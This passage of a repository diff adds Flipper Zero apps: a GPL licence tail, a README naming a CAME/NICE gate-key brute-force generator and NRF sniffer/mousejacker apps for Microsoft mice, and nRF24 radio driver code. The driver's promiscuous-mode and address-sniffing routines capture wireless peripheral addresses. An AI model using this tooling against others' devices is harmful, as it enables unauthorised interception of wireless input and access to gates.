+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.

+ 14 - 0
non_catalog_apps/nrfsniff_ms/README.md

@@ -0,0 +1,14 @@
+# flipperzero-tools
+Various tools for Flipper Zero
+
+## rawsub_decoder
+See README inside directory.
+
+## generator_433_868.py
+Generates .sub for given 12bits keys with CAME and NICE protocols.
+It's an adaptation from UberGuidoZ's `CAME_brute_force` and there is also code re-use from tobiabocchi's `flipperzero-bruteforce`. URLs of those code bases are in header of the python script.
+
+## faps
+- bt_hid_kodi: Application Bluetooth remote Keynote for Kodi (original app + feature: long press on OK to switch between "Space" and "Return" (useful for Kodi to navigate the menus))
+- nrfsniff_ms & mousejacker_ms: Applications NRF Sniff & Mousejacker for Microsoft mouse (hardcoded)
+

+ 20 - 0
non_catalog_apps/nrfsniff_ms/application.fam

@@ -0,0 +1,20 @@
+App(
+    appid="nrf24_sniffer_ms",
+    name="[NRF24] Sniffer MS",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="nrfsniff_app",
+    cdefines=["APP_NRFSNIFF_MS"],
+    requires=["gui"],
+    stack_size=2 * 1024,
+    order=70,
+    fap_icon="nrfsniff_10px.png",
+    fap_category="GPIO",
+    fap_private_libs=[
+        Lib(
+            name="nrf24",
+            sources=[
+                "nrf24.c",
+            ],
+        ),
+    ],
+)

+ 520 - 0
non_catalog_apps/nrfsniff_ms/lib/nrf24/nrf24.c

@@ -0,0 +1,520 @@
+#include "nrf24.h"
+#include <furi.h>
+#include <furi_hal.h>
+#include <furi_hal_resources.h>
+#include <assert.h>
+#include <string.h>
+
+void nrf24_init() {
+    furi_hal_spi_bus_handle_init(nrf24_HANDLE);
+    furi_hal_spi_acquire(nrf24_HANDLE);
+    furi_hal_gpio_init(nrf24_CE_PIN, GpioModeOutputPushPull, GpioPullUp, GpioSpeedVeryHigh);
+    furi_hal_gpio_write(nrf24_CE_PIN, false);
+}
+
+void nrf24_deinit() {
+    furi_hal_spi_release(nrf24_HANDLE);
+    furi_hal_spi_bus_handle_deinit(nrf24_HANDLE);
+    furi_hal_gpio_write(nrf24_CE_PIN, false);
+    furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+}
+
+void nrf24_spi_trx(
+    FuriHalSpiBusHandle* handle,
+    uint8_t* tx,
+    uint8_t* rx,
+    uint8_t size,
+    uint32_t timeout) {
+    UNUSED(timeout);
+    furi_hal_gpio_write(handle->cs, false);
+    furi_hal_spi_bus_trx(handle, tx, rx, size, nrf24_TIMEOUT);
+    furi_hal_gpio_write(handle->cs, true);
+}
+
+uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data) {
+    uint8_t tx[2] = {W_REGISTER | (REGISTER_MASK & reg), data};
+    uint8_t rx[2] = {0};
+    nrf24_spi_trx(handle, tx, rx, 2, nrf24_TIMEOUT);
+    return rx[0];
+}
+
+uint8_t
+    nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) {
+    uint8_t tx[size + 1];
+    uint8_t rx[size + 1];
+    memset(rx, 0, size + 1);
+    tx[0] = W_REGISTER | (REGISTER_MASK & reg);
+    memcpy(&tx[1], data, size);
+    nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
+    return rx[0];
+}
+
+uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) {
+    uint8_t tx[size + 1];
+    uint8_t rx[size + 1];
+    memset(rx, 0, size + 1);
+    tx[0] = R_REGISTER | (REGISTER_MASK & reg);
+    memset(&tx[1], 0, size);
+    nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
+    memcpy(data, &rx[1], size);
+    return rx[0];
+}
+
+uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle) {
+    uint8_t tx[] = {FLUSH_RX};
+    uint8_t rx[] = {0};
+    nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT);
+    return rx[0];
+}
+
+uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle) {
+    uint8_t tx[] = {FLUSH_TX};
+    uint8_t rx[] = {0};
+    nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT);
+    return rx[0];
+}
+
+uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle) {
+    uint8_t maclen;
+    nrf24_read_reg(handle, REG_SETUP_AW, &maclen, 1);
+    maclen &= 3;
+    return maclen + 2;
+}
+
+uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen) {
+    assert(maclen > 1 && maclen < 6);
+    uint8_t status = 0;
+    status = nrf24_write_reg(handle, REG_SETUP_AW, maclen - 2);
+    return status;
+}
+
+uint8_t nrf24_status(FuriHalSpiBusHandle* handle) {
+    uint8_t status;
+    uint8_t tx[] = {R_REGISTER | (REGISTER_MASK & REG_STATUS)};
+    nrf24_spi_trx(handle, tx, &status, 1, nrf24_TIMEOUT);
+    return status;
+}
+
+uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle) {
+    uint8_t setup = 0;
+    uint32_t rate = 0;
+    nrf24_read_reg(handle, REG_RF_SETUP, &setup, 1);
+    setup &= 0x28;
+    if(setup == 0x20)
+        rate = 250000; // 250kbps
+    else if(setup == 0x08)
+        rate = 2000000; // 2Mbps
+    else if(setup == 0x00)
+        rate = 1000000; // 1Mbps
+
+    return rate;
+}
+
+uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate) {
+    uint8_t r6 = 0;
+    uint8_t status = 0;
+    if(!rate) rate = 2000000;
+
+    nrf24_read_reg(handle, REG_RF_SETUP, &r6, 1); // RF_SETUP register
+    r6 = r6 & (~0x28); // Clear rate fields.
+    if(rate == 2000000)
+        r6 = r6 | 0x08;
+    else if(rate == 1000000)
+        r6 = r6;
+    else if(rate == 250000)
+        r6 = r6 | 0x20;
+
+    status = nrf24_write_reg(handle, REG_RF_SETUP, r6); // Write new rate.
+    return status;
+}
+
+uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle) {
+    uint8_t channel = 0;
+    nrf24_read_reg(handle, REG_RF_CH, &channel, 1);
+    return channel;
+}
+
+uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan) {
+    uint8_t status;
+    status = nrf24_write_reg(handle, REG_RF_CH, chan);
+    return status;
+}
+
+uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) {
+    uint8_t size = 0;
+    uint8_t status = 0;
+    size = nrf24_get_maclen(handle);
+    status = nrf24_read_reg(handle, REG_RX_ADDR_P0, mac, size);
+    return status;
+}
+
+uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) {
+    uint8_t status = 0;
+    uint8_t clearmac[] = {0, 0, 0, 0, 0};
+    nrf24_set_maclen(handle, size);
+    nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, clearmac, 5);
+    status = nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, mac, size);
+    return status;
+}
+
+uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) {
+    uint8_t size = 0;
+    uint8_t status = 0;
+    size = nrf24_get_maclen(handle);
+    status = nrf24_read_reg(handle, REG_TX_ADDR, mac, size);
+    return status;
+}
+
+uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) {
+    uint8_t status = 0;
+    uint8_t clearmac[] = {0, 0, 0, 0, 0};
+    nrf24_set_maclen(handle, size);
+    nrf24_write_buf_reg(handle, REG_TX_ADDR, clearmac, 5);
+    status = nrf24_write_buf_reg(handle, REG_TX_ADDR, mac, size);
+    return status;
+}
+
+uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle) {
+    uint8_t len = 0;
+    nrf24_read_reg(handle, RX_PW_P0, &len, 1);
+    return len;
+}
+
+uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len) {
+    uint8_t status = 0;
+    status = nrf24_write_reg(handle, RX_PW_P0, len);
+    return status;
+}
+
+uint8_t
+    nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full) {
+    uint8_t status = 0;
+    uint8_t size = 0;
+    uint8_t tx_pl_wid[] = {R_RX_PL_WID, 0};
+    uint8_t rx_pl_wid[] = {0, 0};
+    uint8_t tx_cmd[33] = {0}; // 32 max payload size + 1 for command
+    uint8_t tmp_packet[33] = {0};
+
+    status = nrf24_status(handle);
+
+    if(status & 0x40) {
+        if(full)
+            size = nrf24_get_packetlen(handle);
+        else {
+            nrf24_spi_trx(handle, tx_pl_wid, rx_pl_wid, 2, nrf24_TIMEOUT);
+            size = rx_pl_wid[1];
+        }
+
+        tx_cmd[0] = R_RX_PAYLOAD;
+        nrf24_spi_trx(handle, tx_cmd, tmp_packet, size + 1, nrf24_TIMEOUT);
+        nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit.
+        memcpy(packet, &tmp_packet[1], size);
+    } else if(status == 0) {
+        nrf24_flush_rx(handle);
+        nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit.
+    }
+
+    *packetsize = size;
+    return status;
+}
+
+uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack) {
+    uint8_t status = 0;
+    uint8_t tx[size + 1];
+    uint8_t rx[size + 1];
+    memset(tx, 0, size + 1);
+    memset(rx, 0, size + 1);
+
+    if(!ack)
+        tx[0] = W_TX_PAYLOAD_NOACK;
+    else
+        tx[0] = W_TX_PAYLOAD;
+
+    memcpy(&tx[1], payload, size);
+    nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
+    nrf24_set_tx_mode(handle);
+
+    while(!(status & (TX_DS | MAX_RT))) status = nrf24_status(handle);
+
+    if(status & MAX_RT) nrf24_flush_tx(handle);
+
+    nrf24_set_idle(handle);
+    nrf24_write_reg(handle, REG_STATUS, TX_DS | MAX_RT);
+    return status & TX_DS;
+}
+
+uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle) {
+    uint8_t status = 0;
+    uint8_t cfg = 0;
+    nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
+    cfg = cfg | 2;
+    status = nrf24_write_reg(handle, REG_CONFIG, cfg);
+    furi_delay_ms(5000);
+    return status;
+}
+
+uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle) {
+    uint8_t status = 0;
+    uint8_t cfg = 0;
+    nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
+    cfg &= 0xfc; // clear bottom two bits to power down the radio
+    status = nrf24_write_reg(handle, REG_CONFIG, cfg);
+    //nr204_write_reg(handle, REG_EN_RXADDR, 0x0);
+    furi_hal_gpio_write(nrf24_CE_PIN, false);
+    return status;
+}
+
+uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle) {
+    uint8_t status = 0;
+    uint8_t cfg = 0;
+    //status = nrf24_write_reg(handle, REG_CONFIG, 0x0F); // enable 2-byte CRC, PWR_UP, and PRIM_RX
+    nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
+    cfg |= 0x03; // PWR_UP, and PRIM_RX
+    status = nrf24_write_reg(handle, REG_CONFIG, cfg);
+    //nr204_write_reg(REG_EN_RXADDR, 0x03) // Set RX Pipe 0 and 1
+    furi_hal_gpio_write(nrf24_CE_PIN, true);
+    furi_delay_ms(2000);
+    return status;
+}
+
+uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle) {
+    uint8_t status = 0;
+    uint8_t cfg = 0;
+    furi_hal_gpio_write(nrf24_CE_PIN, false);
+    nrf24_write_reg(handle, REG_STATUS, 0x30);
+    //status = nrf24_write_reg(handle, REG_CONFIG, 0x0E); // enable 2-byte CRC, PWR_UP
+    nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
+    cfg &= 0xfe; // disable PRIM_RX
+    cfg |= 0x02; // PWR_UP
+    status = nrf24_write_reg(handle, REG_CONFIG, cfg);
+    furi_hal_gpio_write(nrf24_CE_PIN, true);
+    furi_delay_ms(2);
+    return status;
+}
+
+void nrf24_configure(
+    FuriHalSpiBusHandle* handle,
+    uint8_t rate,
+    uint8_t* srcmac,
+    uint8_t* dstmac,
+    uint8_t maclen,
+    uint8_t channel,
+    bool noack,
+    bool disable_aa) {
+    assert(channel <= 125);
+    assert(rate == 1 || rate == 2);
+    if(rate == 2)
+        rate = 8; // 2Mbps
+    else
+        rate = 0; // 1Mbps
+
+    nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF
+    nrf24_set_idle(handle);
+    nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts
+    if(disable_aa)
+        nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst
+    else
+        nrf24_write_reg(handle, REG_EN_AA, 0x1F); // Enable Shockburst
+
+    nrf24_write_reg(handle, REG_DYNPD, 0x3F); // enable dynamic payload length on all pipes
+    if(noack)
+        nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack
+    else {
+        nrf24_write_reg(handle, REG_CONFIG, 0x0C); // 2 byte CRC
+        nrf24_write_reg(handle, REG_FEATURE, 0x07); // enable dyn payload and ack
+        nrf24_write_reg(
+            handle, REG_SETUP_RETR, 0x1f); // 15 retries for AA, 500us auto retransmit delay
+    }
+
+    nrf24_set_idle(handle);
+    nrf24_flush_rx(handle);
+    nrf24_flush_tx(handle);
+
+    if(maclen) nrf24_set_maclen(handle, maclen);
+    if(srcmac) nrf24_set_src_mac(handle, srcmac, maclen);
+    if(dstmac) nrf24_set_dst_mac(handle, dstmac, maclen);
+
+    nrf24_write_reg(handle, REG_RF_CH, channel);
+    nrf24_write_reg(handle, REG_RF_SETUP, rate);
+    furi_delay_ms(200);
+}
+
+void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate) {
+    //uint8_t preamble[] = {0x55, 0x00}; // little endian
+    uint8_t preamble[] = {0xAA, 0x00}; // little endian
+    //uint8_t preamble[] = {0x00, 0x55}; // little endian
+    //uint8_t preamble[] = {0x00, 0xAA}; // little endian
+    nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF
+    nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts
+    nrf24_write_reg(handle, REG_DYNPD, 0x0); // disable shockburst
+    nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst
+    nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack
+    nrf24_set_maclen(handle, 2); // shortest address
+    nrf24_set_src_mac(handle, preamble, 2); // set src mac to preamble bits to catch everything
+    nrf24_set_packetlen(handle, 32); // set max packet length
+    nrf24_set_idle(handle);
+    nrf24_flush_rx(handle);
+    nrf24_flush_tx(handle);
+    nrf24_write_reg(handle, REG_RF_CH, channel);
+    nrf24_write_reg(handle, REG_RF_SETUP, rate);
+
+    // prime for RX, no checksum
+    nrf24_write_reg(handle, REG_CONFIG, 0x03); // PWR_UP and PRIM_RX, disable AA and CRC
+    furi_hal_gpio_write(nrf24_CE_PIN, true);
+    furi_delay_ms(100);
+}
+
+void hexlify(uint8_t* in, uint8_t size, char* out) {
+    memset(out, 0, size * 2);
+    for(int i = 0; i < size; i++)
+        snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
+}
+
+uint64_t bytes_to_int64(uint8_t* bytes, uint8_t size, bool bigendian) {
+    uint64_t ret = 0;
+    for(int i = 0; i < size; i++)
+        if(bigendian)
+            ret |= bytes[i] << ((size - 1 - i) * 8);
+        else
+            ret |= bytes[i] << (i * 8);
+
+    return ret;
+}
+
+void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian) {
+    for(int i = 0; i < 8; i++) {
+        if(bigendian)
+            out[i] = (val >> ((7 - i) * 8)) & 0xff;
+        else
+            out[i] = (val >> (i * 8)) & 0xff;
+    }
+}
+
+uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian) {
+    uint32_t ret = 0;
+    for(int i = 0; i < 4; i++)
+        if(bigendian)
+            ret |= bytes[i] << ((3 - i) * 8);
+        else
+            ret |= bytes[i] << (i * 8);
+
+    return ret;
+}
+
+void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian) {
+    for(int i = 0; i < 4; i++) {
+        if(bigendian)
+            out[i] = (val >> ((3 - i) * 8)) & 0xff;
+        else
+            out[i] = (val >> (i * 8)) & 0xff;
+    }
+}
+
+uint64_t bytes_to_int16(uint8_t* bytes, bool bigendian) {
+    uint16_t ret = 0;
+    for(int i = 0; i < 2; i++)
+        if(bigendian)
+            ret |= bytes[i] << ((1 - i) * 8);
+        else
+            ret |= bytes[i] << (i * 8);
+
+    return ret;
+}
+
+void int16_to_bytes(uint16_t val, uint8_t* out, bool bigendian) {
+    for(int i = 0; i < 2; i++) {
+        if(bigendian)
+            out[i] = (val >> ((1 - i) * 8)) & 0xff;
+        else
+            out[i] = (val >> (i * 8)) & 0xff;
+    }
+}
+
+// handle iffyness with preamble processing sometimes being a bit (literally) off
+void alt_address_old(uint8_t* packet, uint8_t* altaddr) {
+    uint8_t macmess_hi_b[4];
+    uint8_t macmess_lo_b[2];
+    uint32_t macmess_hi;
+    uint16_t macmess_lo;
+    uint8_t preserved;
+
+    // get first 6 bytes into 32-bit and 16-bit variables
+    memcpy(macmess_hi_b, packet, 4);
+    memcpy(macmess_lo_b, packet + 4, 2);
+
+    macmess_hi = bytes_to_int32(macmess_hi_b, true);
+
+    //preserve least 7 bits from hi that will be shifted down to lo
+    preserved = macmess_hi & 0x7f;
+    macmess_hi >>= 7;
+
+    macmess_lo = bytes_to_int16(macmess_lo_b, true);
+    macmess_lo >>= 7;
+    macmess_lo = (preserved << 9) | macmess_lo;
+    int32_to_bytes(macmess_hi, macmess_hi_b, true);
+    int16_to_bytes(macmess_lo, macmess_lo_b, true);
+    memcpy(altaddr, &macmess_hi_b[1], 3);
+    memcpy(altaddr + 3, macmess_lo_b, 2);
+}
+
+bool validate_address(uint8_t* addr) {
+    uint8_t bad[][3] = {{0x55, 0x55}, {0xAA, 0xAA}, {0x00, 0x00}, {0xFF, 0xFF}};
+    for(int i = 0; i < 4; i++)
+        for(int j = 0; j < 2; j++)
+            if(!memcmp(addr + j * 2, bad[i], 2)) return false;
+
+    return true;
+}
+
+bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address) {
+    bool found = false;
+    uint8_t packet[32] = {0};
+    uint8_t packetsize;
+    //char printit[65];
+    uint8_t status = 0;
+    status = nrf24_rxpacket(handle, packet, &packetsize, true);
+    if(status & 0x40) {
+        if(validate_address(packet)) {
+            for(int i = 0; i < maclen; i++) address[i] = packet[maclen - 1 - i];
+
+            /*
+            alt_address(packet, packet);
+
+            for(i = 0; i < maclen; i++)
+                address[i + 5] = packet[maclen - 1 - i];
+            */
+
+            //memcpy(address, packet, maclen);
+            //hexlify(packet, packetsize, printit);
+            found = true;
+        }
+    }
+
+    return found;
+}
+
+uint8_t nrf24_find_channel(
+    FuriHalSpiBusHandle* handle,
+    uint8_t* srcmac,
+    uint8_t* dstmac,
+    uint8_t maclen,
+    uint8_t rate,
+    uint8_t min_channel,
+    uint8_t max_channel,
+    bool autoinit) {
+    uint8_t ping_packet[] = {0x0f, 0x0f, 0x0f, 0x0f}; // this can be anything, we just need an ack
+    uint8_t ch = max_channel + 1; // means fail
+    nrf24_configure(handle, rate, srcmac, dstmac, maclen, 2, false, false);
+    for(ch = min_channel; ch <= max_channel + 1; ch++) {
+        nrf24_write_reg(handle, REG_RF_CH, ch);
+        if(nrf24_txpacket(handle, ping_packet, 4, true)) break;
+    }
+
+    if(autoinit) {
+        FURI_LOG_D("nrf24", "initializing radio for channel %d", ch);
+        nrf24_configure(handle, rate, srcmac, dstmac, maclen, ch, false, false);
+        return ch;
+    }
+
+    return ch;
+}

+ 366 - 0
non_catalog_apps/nrfsniff_ms/lib/nrf24/nrf24.h

@@ -0,0 +1,366 @@
+#pragma once
+#include <stdbool.h>
+#include <stdint.h>
+#include <furi_hal_spi.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define R_REGISTER 0x00
+#define W_REGISTER 0x20
+#define REGISTER_MASK 0x1F
+#define ACTIVATE 0x50
+#define R_RX_PL_WID 0x60
+#define R_RX_PAYLOAD 0x61
+#define W_TX_PAYLOAD 0xA0
+#define W_TX_PAYLOAD_NOACK 0xB0
+#define W_ACK_PAYLOAD 0xA8
+#define FLUSH_TX 0xE1
+#define FLUSH_RX 0xE2
+#define REUSE_TX_PL 0xE3
+#define RF24_NOP 0xFF
+
+#define REG_CONFIG 0x00
+#define REG_EN_AA 0x01
+#define REG_EN_RXADDR 0x02
+#define REG_SETUP_AW 0x03
+#define REG_SETUP_RETR 0x04
+#define REG_DYNPD 0x1C
+#define REG_FEATURE 0x1D
+#define REG_RF_SETUP 0x06
+#define REG_STATUS 0x07
+#define REG_RX_ADDR_P0 0x0A
+#define REG_RF_CH 0x05
+#define REG_TX_ADDR 0x10
+
+#define RX_PW_P0 0x11
+#define TX_DS 0x20
+#define MAX_RT 0x10
+
+#define nrf24_TIMEOUT 500
+#define nrf24_CE_PIN &gpio_ext_pb2
+#define nrf24_HANDLE &furi_hal_spi_bus_handle_external
+
+/* Low level API */
+
+/** Write device register
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      reg     - register
+ * @param      data    - data to write
+ *
+ * @return     device status
+ */
+uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data);
+
+/** Write buffer to device register
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      reg     - register
+ * @param      data    - data to write
+ * @param      size    - size of data to write
+ *
+ * @return     device status
+ */
+uint8_t nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size);
+
+/** Read device register
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      reg     - register
+ * @param[out] data    - pointer to data
+ *
+ * @return     device status
+ */
+uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size);
+
+/** Power up the radio for operation
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle);
+
+/** Power down the radio
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle);
+
+/** Sets the radio to RX mode
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle);
+
+/** Sets the radio to TX mode
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle);
+
+/*=============================================================================================================*/
+
+/* High level API */
+
+/** Must call this before using any other nrf24 API
+ * 
+ */
+void nrf24_init();
+
+/** Must call this when we end using nrf24 device
+ * 
+ */
+void nrf24_deinit();
+
+/** Send flush rx command
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ *
+ * @return     device status
+ */
+uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle);
+
+/** Send flush tx command
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ *
+ * @return     device status
+ */
+uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle);
+
+/** Gets the RX packet length in data pipe 0
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     packet length in data pipe 0
+ */
+uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle);
+
+/** Sets the RX packet length in data pipe 0
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      len - length to set
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len);
+
+/** Gets configured length of MAC address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     MAC address length
+ */
+uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle);
+
+/** Sets configured length of MAC address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      maclen - length to set MAC address to, must be greater than 1 and less than 6
+ * 
+ * @return     MAC address length
+ */
+uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen);
+
+/** Gets the current status flags from the STATUS register
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     status flags
+ */
+uint8_t nrf24_status(FuriHalSpiBusHandle* handle);
+
+/** Gets the current transfer rate
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     transfer rate in bps
+ */
+uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle);
+
+/** Sets the transfer rate
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      rate - the transfer rate in bps
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate);
+
+/** Gets the current channel
+ * In nrf24, the channel number is multiplied times 1MHz and added to 2400MHz to get the frequency
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     channel
+ */
+uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle);
+
+/** Sets the channel
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      frequency - the frequency in hertz
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan);
+
+/** Gets the source mac address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param[out] mac - the source mac address
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac);
+
+/** Sets the source mac address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      mac - the mac address to set
+ * @param      size - the size of the mac address (2 to 5)
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size);
+
+/** Gets the dest mac address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param[out] mac - the source mac address
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac);
+
+/** Sets the dest mac address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      mac - the mac address to set
+ * @param      size - the size of the mac address (2 to 5)
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size);
+
+/** Reads RX packet
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param[out] packet - the packet contents
+ * @param[out] packetsize - size of the received packet
+ * @param      full - boolean set to true, packet length is determined by RX_PW_P0 register, false it is determined by dynamic payload length command
+ * 
+ * @return     device status
+ */
+uint8_t
+    nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full);
+
+/** Sends TX packet
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      packet - the packet contents
+ * @param      size - packet size
+ * @param      ack - boolean to determine whether an ACK is required for the packet or not
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack);
+
+/** Configure the radio
+ * This is not comprehensive, but covers a lot of the common configuration options that may be changed
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      rate - transfer rate in Mbps (1 or 2)
+ * @param      srcmac - source mac address
+ * @param      dstmac - destination mac address
+ * @param      maclen - length of mac address
+ * @param      channel - channel to tune to
+ * @param      noack - if true, disable auto-acknowledge
+ * @param      disable_aa - if true, disable ShockBurst
+ * 
+ */
+void nrf24_configure(
